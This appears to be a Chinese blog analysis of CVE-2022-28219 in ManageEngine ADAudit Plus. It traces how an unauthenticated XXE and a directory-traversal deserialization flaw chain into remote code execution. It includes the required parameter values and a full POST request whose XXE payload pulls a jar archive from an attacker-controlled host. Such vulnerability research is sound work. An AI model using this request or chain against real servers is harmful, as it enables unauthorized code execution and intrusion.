目录

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE注入

前言

最近才看到这个洞,正好无事分析一波

环境搭建

我这里使用的是Win10安装:https://archives2.manageengine.com/active-directory-audit/7055/ManageEngine_ADAudit_Plus_x64.exe

除此之外还需要有域环境,我是使用了server2008搭建了一个域控

漏洞分析

实际上是两个洞结合在一起造成了rce,分别是未授权反序列化和未授权XXE

反序列化的点

该漏洞点还可以通过目录穿越指定目标文件

先来看一下de.laures.cewolf.storage.FileStorage#getChartImage,通过getFileName将传进来的id参数进行拼接且没有任何的过滤,返回文件路径,然后对指定文件进行反序列化

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/cfb4d47a-ceeb-15b7-92e2-98988a1bf099.png

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/45b36e2d-6a38-2742-5498-a0488db9a72f.png

而在de.laures.cewolf.CewolfRenderer#doGet中会调用getChartImage,可以看到前面提到的id参数就是从request中获取的img值,明显可以看到这是一个servlet类

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/88de7e6d-3458-be4a-73e0-88b4e0cddba4.png

查看一下web.xml,找到了/cewolf/*接口,接着进行抓包构造,这里往服务器根目录上放一个cb链构造的序列化文件

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/57a78982-4c1a-ff86-dc0d-64da2f170b0a.png

构造包,并通过目录穿越指定文件进行反序列化触发漏洞弹出计算器

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/d2a2ba1b-a29c-342b-0e56-fca71855c845.png

XXE的点

这里先放一些解析XML的主要函数(可能存在XXE漏洞的函数)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
javax.xml.parsers.DocumentBuilderFactory
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId

这个洞就是javax.xml.parsers.DocumentBuilderFactory解析用户传进来的未过滤的参数导致的XXE

com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#parseTaskContent中,对Task Content或者Task New Content的值进行xml解析触发XXE漏洞

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/7ef15123-3760-aff1-2a29-f6a896b102b1.png

直接来看com.adventnet.sym.adsm.auditing.webclient.ember.api.ADAPAgentAPIServlet和它对应的路由接口,所有请求最后都会进入到executeAgentRequest

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/eda2031f-dd22-346c-7025-f3a359725295.png

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/c772f3b5-26a9-8199-9d84-dc60445fb090.png

executeAgentRequest中先是将/api/agent/后的值提取出来,然后在this.agentAPIMapping中匹配取出对应的mappingInfo,这里是我随便输入的值111,而漏洞的点在/tabs/agentData

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/5950c75e-d2ae-c569-f3c6-c71d01289963.png

更改为目标url后通过反射进入到com.adventnet.sym.adsm.auditing.webclient.ember.api.agent.AgentDataHandler#receiveData中,最后在notify中将post包内容添加到队列中

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/c39331e0-1c91-74bc-3b14-5871e0e8644c.png

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/de9430f8-7e32-4581-e704-842ebcfdc348.png

而在notify函数的类EventDataAdapter中的子类EventDispatcher中会对消息队列进行处理,这里会提取DomainName的值,而该值必须为域环境的域名否则后面会直接抛出异常无法触发漏洞

这里Y4er师傅提到了可以通过/api/agent/configuration/getAgentServerInfo接口获取完整的fqdn,前提是目标配置了agent

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/5818c573-b02f-4e24-03cb-8c4e153490dc.png

process中,filterEvents会先对消息进行过滤,其中会提取EventCode的值,如果没有的话将会直接抛出异常,而前面讲到的DomainName如果值不是域环境中的域名的话domainMap会为空然后抛出异常

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/41997199-2e9c-747d-a9ae-29a316a0e44d.png

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/a956f52c-3a3c-c4a9-10e8-49454ad7e060.png

接着会进入到addEventRows中,这里如果EventCode的值在filterEvents中不存在话会导致procesedEventTable为null就触发不了漏洞

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/0fb4b315-621d-871a-7b44-a37a3043131b.png

addEventRows中,会通过CategoryId获取eventCategoryListener而为了进入漏洞触发点,它需要为ProcessTrackingListener,而当CategoryId为11时才满足这个条件,而在一开始filterEvents对消息队列进行检测时会通过getCategoriesForEventId获取CategoryId的值,可以看到EventCode的值为592或者4688时都符合(可能还有符合的)

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/ec774388-a406-d121-6c16-6cf099cbdbb8.png

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/cce72623-a9d1-4a3e-9f3d-568f1430ff2d.png

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/6d5514f0-4c37-f974-a5ca-8baa4b043549.png

最后进入到getEventRow中,接着进入到parseTaskContent中触发XXE漏洞,这里post包参数还需要有EventTypeTimeGenerated,否则的话会直接抛出异常

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/81bbf06f-fda7-1176-2d89-8544d1b9c497.png

两个点结合rce

这样的话可以通过XXE的jar协议上传一个恶意的序列化文件在通过file协议获取文件的路径,在通过反序列化的点触发即可达到rce的目的

因为jar协议上传文件时如果链接协议断开,文件则会消失,因此使用BlockingServer工具使目标文件长时间停留在目标服务器上

开启BlockingServer,其中aaa.png为通过cb链构造的序列化文件,然后通过jar协议发送post包,此时上传的文件为aaa.png

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/0e076f55-9b86-2831-8a9f-7e451f173fab.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /api/agent/tabs/agentData HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 309

[
    {
        "DomainName": "test.com",
        "EventCode": 592,
        "EventType": 0,
        "TimeGenerated": 0,
      "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE foo [<!ENTITY data SYSTEM \"jar:http://192.168.1.177:9999/qwe.zip!/qwe.txt\"> ]><foo>&data;</foo>"
    }
]

接着通过xxe-ftp-server工具查看上传的文件路径,其中如果目标系统为windows的话还要知道目标用户(这里可以先通过列举/Users 获取所有用户名),此时知道了文件名和路径,直接通过反序列化的点指定文件进行触发漏洞

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/856ea376-8c6f-1abf-8508-7a4f1cde3e41.png

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/fda51774-0e2d-acf3-45e0-711a38efc3e7.png

参考链接

  1. https://y4er.com/post/cve-2022-28219-zoho-manageengine-adaudit-plus-xxe-rce/